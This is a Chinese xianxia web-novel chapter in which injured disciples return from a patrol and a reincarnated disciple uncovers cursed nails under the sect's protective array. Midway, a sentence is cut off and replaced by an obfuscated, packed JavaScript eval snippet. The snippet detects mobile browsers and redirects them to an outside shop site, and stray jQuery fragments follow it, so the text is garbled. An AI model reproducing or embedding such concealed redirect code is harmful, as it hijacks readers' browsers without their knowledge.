最后一批弟子的剑光已经隐入云间,萧松霁从阴影中走出来,陪着梅雪枝沿长阶往回走
梅雪枝走得慢,红衣被风掀起一角又落下,赤金冠下垂落的发丝贴在苍白的侧脸上。萧松霁跟在他身侧半步,他肩背宽阔,高大的身影挡住大半山风。
梅雪枝几次想开口,唇瓣动了动,又嫌自己说出来矫情,索性抬脚踢开路边一枚小石子。
“你觉得,我小题大做了吗?”他没有回头,声音也不响,像是随口一问。
萧松霁没有犹豫:“不觉得。”
“你当然这么说。”梅雪枝嘴角一撇,“你成日只会顺着我。”
“这次不是。”
梅雪枝终于转过脸。
萧松霁神情仍旧沉静,话也说得很慢:“春巡本身,不值得你冒着病去。大师兄不让你出巡,没有错。”
红衣袖口一甩,扫上他的手背,梅雪枝怒嗔:“那你还跟着我做什么?”
“不是一回事。”萧松霁抬眼看着他,“去不去,是小师兄自己的决定,可春巡的事,该让小师兄知道。”
梅雪枝的脚步顿了一下。
“小师兄难受,是因为裴师兄对你很重要。若换个人瞒你,你大约不会在意,更不会问我。”
风从两人之间穿过去。梅雪枝抬手把脸侧那缕发丝别到耳后,指尖在耳廓上停了一瞬。
他没说是,也没说不是。
“他总是这样。”梅雪枝低声道,“小时候不让我下潭,也不说潭里有东西,只是关我禁闭。后来我翻墙摔了,他还罚我。”
“大师兄的好意是真的,小师兄不高兴,也是真的。不能因为前一件是真的,后一件便不算数。”
萧松霁不善于安慰人,也不打算替裴清让找补。既然梅雪枝问的是他的看法,他便实话实说。
“我不是因为站在小师兄这边,才这么说。我若觉得你不对,也一样会告诉你。”
“你敢。”梅雪枝瞪他。
话一出口,那张绷了许久的脸终于有了些活气。
萧松霁低下头:“敢。”
梅雪枝被他噎得一时说不出话,抱着照夕往前走了几步,又忍不住回头:“若是你呢?”
“我会告诉小师兄。”
“然后呢?”
“你若不能去,我会当面拦你。”萧松霁停了一瞬,“拦不住,就跟着。”
梅雪枝皱着鼻尖想了半日,挑剔道:“也没比大师兄好到哪里去,都是烦人。”
“嗯。”
“不过你更烦。”
“是。”
……
接下来七日,听雪轩总算清静了些。
柳长老改了两次药方,硬生生将梅雪枝虚浮的脉象压了下去。人瞧着精神了些,唇上也有了血色。
病势看似稳了,病因却仍旧不明。柳长老把医修堂十八年来的脉案翻了数遍,又让弟子去旧库寻找梅雪枝五岁那年发病的记录。
那批旧册受过潮,其中一册缺了数页。
柳长老对着灯看了许久,只将残册收入袖中,未曾声张。
春巡原定七日往返,然而第七日过去,山门的钟一声也没有响。
那夜梅雪枝在舞完一遍剑,沐浴后才觉右肩隐隐作痛。
那痛来得古怪,像被什么钝物狠狠撞过。他对镜扯开衣领看了看,肩头肌肤白净,既无伤口,也没有半点青紫,按下去也寻不到确切痛处。
许是练剑时动作太急,拉着了。
他自己给自己找好了缘由,便懒得再叫人。只是夜里翻身时疼醒两回,惹得他蹙起眉,睡梦里含糊骂了照夕一句。
第八日晌午,梅雪枝正坐在沈怀璧的丹房里,丹炉烧得正旺,屋中暖意融融,药柜间浮着清苦香气。
沈怀璧正在分拣灵草,头也不抬,只在梅雪枝想把药倒进花盆时淡淡说了句:“我看着呢”。
梅雪枝只好捏着鼻子灌下去,苦得眼尾都泛了红,伸手去够案上那碟梅子糖。
“二师兄,这药还要喝几日?”
“七日。”
“昨日也是七日。”
“昨日的七日,从昨日算。今日的七日,从今日算。”
梅雪枝愣是没从这句话里挑出毛病,他不高兴地拿签子把梅子戳出一个个小洞。
“你炼丹炼傻了。”
沈怀璧没有抬头:“嗯。”
远处忽然传来钟声。
铛、铛——
前两声短而急促,穿过重重山林,撞上主峰绝壁。短暂的寂静后,第三声钟鸣沉沉压下,余音漫过整座归元宗。
铛——
沈怀璧面色一变。
两段一长,是外出弟子携伤员归来,召医修与执法弟子的钟声。
沈怀璧挥手封住炉口,青焰瞬间熄灭。他从架上取来一只药箱,回头时,见梅雪枝已抓过搭在椅背上的正红外袍。
“你留下。”
“我又不是去巡山。”梅雪枝把手伸进衣袖,眉梢一扬,“山门离丹房才多远?”
“柳长老让你静养。”
“她还让我心绪平和。你把我关在这里等消息,我更平和不了。”
两人赶到山门时,已经聚了一片人。
春巡的队伍回来了,粗略一扫并无缺员。只是队形散乱,人人神色狼狈,显然路上出了变故。
有人外袍撕开数道口子,有人剑上犹带血迹,还有几名受伤弟子被同门搀扶着,一瘸一拐地穿过山门。
温修竹落在队伍最后,肩上架着一名弟子。那人半边身子压在他身上,右腿裤管被鲜血浸透,暗红一片。
沈怀璧几步迎上去,接过伤员,手指往那弟子腕上一搭,眉心立刻拧起来:“伤口怎么回事?”
“回二师兄,是外山的东西抓的。”温修竹面色发白,仍然条理清楚,“伤口不深,但煞气进了经脉,路上用了祛秽符,仍祛不干净。”
沈怀璧掀开那弟子的裤管看了一眼,伤口周围的皮肉泛着一圈青黑。
梅雪枝站在两步外,目光落在那青黑上,忽然觉得眼熟。
“大师兄呢?”有执法弟子高声问。
温修竹望向身后山道:“大师兄命我率众先送伤员回宗。他留在原处,封印阵眼。”
匆匆赶来的柳长老剪开伤员腿上的布料,将一根银针落在伤口处,青黑煞气立刻沿针身往上爬。
她神色微沉:“先别围着。修竹,把经过从头说一遍。”
“是。昨日返程时途径栖鹤坡时,弟子见护山阵表面并无异样,却隐约闻到泥土中透着一丝铁腥,掘开后,发现一枚黑铁钉。”
他说着,从储物袋中取出一只封灵匣。匣盖尚未完全掀开,一股腥冷气息便从缝隙里逸散而出,离得近的弟子纷纷变了脸色。
匣中躺着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17776154|210024||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一枚三寸来长的铁钉,通体乌黑,钉身刻满细小符纹。污秽气息虽已被符箓封住,仍透出一股潮湿铁锈似的腥味。
“我们沿着护山阵的阵基一路排查,共挖出四十九枚。”
直到他说完,旁边一名年轻弟子也补充道:“若非小师兄发现铁钉,我们根本看不出那护山阵被动过手脚。这些铁钉埋得极深,若不是先查到第一枚,余下的很难发觉。”
另一人也道:“那片坡地偏僻,平日不会有人停留。小师兄原本已经走过去了,又特意折返查验兔穴旁的泥土。若是错过了,后果不堪设想。”
温修竹轻声截住:“并非我一人之功。巡查本就是此行之责,拔钉与结阵也都有诸位师兄弟相助。”
“可最先发现的人就是你。拔钉后煞气突然泄出,也是小师兄及时叫我们摆阵。要不然那些被煞气侵染的凶兽扑过来,伤的便不止这几个人。”
温修竹的目光人群边缘的梅雪枝脸上掠过,很快收回。
前世,他也曾参与春巡,只是那时无人发现邪钉。
数年后,七座聚煞阵在一夜之间同时爆发,护山灵脉反成煞气通道,归元宗死伤惨重。
他记得所有人惊惶失措时,梅雪枝仍被裴清让护在剑阵中央。
这一次,他凭记忆提前找到了第一处。而其余阵眼的位置,他也大致还有印象。
但若今日全部说出,固然能救下许多人,可若同时指出所有隐藏阵眼,便难免惹人追问。
一举揭破所有隐患,固然能换来一时的赞誉,却未必足够长久。他要在归元宗里站稳脚跟,要让所有人慢慢习惯,每一次危机来临时,第一个想到的人,都是温修竹。
余下那些地方,可以在下次巡查、下下场任务,等到宗门真正陷入危机之前,由他逐一找出。
温修竹抬起脸,转向柳长老,继续道:“铁钉拔除后,聚集多年的煞气一时间外泄。大师兄以剑镇住阵眼,让我们先送伤员回来。他说封印未稳,人多反而会扰乱残余煞气。”
山门上方忽然传来破风声,数道剑光相继落下,掌门与多位长老赶到,众弟子齐齐见礼。
梅无隅先查看过伤员,又亲自查看那枚铁钉,听温修竹禀报一遍。他面上虽沉,落到温修竹身上的目光却带了毫不遮掩的赞许。
“能从细微之处发现异样,既要眼力,也要耐心。临危不惧,知道先护送伤员回宗,更是难得。”
他当着数峰弟子的面,拍了拍温修竹肩头:“修竹,你入门时日尚短,今日却救下许多同门,也替宗门寻出一桩大患。做得很好。”
温修竹垂首:“弟子不敢居功。”
“该是你的功劳,不必推辞。”梅无隅环视太华峰众人,语气中有几分久违的欣慰,“太华峰总算后继有望。怀璧一心扑在丹炉上,知意又不善与人周旋。如今清让身边终于有个能替他分担的人,我也可以放心些。”
周围长老也纷纷颔首。
“此次若非温师侄,聚煞阵藏在护山阵下,日久必成大患。”
“掌门收了个好弟子。”
温修竹一一应过,沉稳谦虚。
这是他上一世求而不得的位置。师父的嘉许、长老的认可、同门的信赖,一样样落到他身上。
可他还是下意识抬起眼,在人里寻找那抹艳色。
梅雪枝望着空荡的山道,眉间微蹙,连半分注意都没有分给他。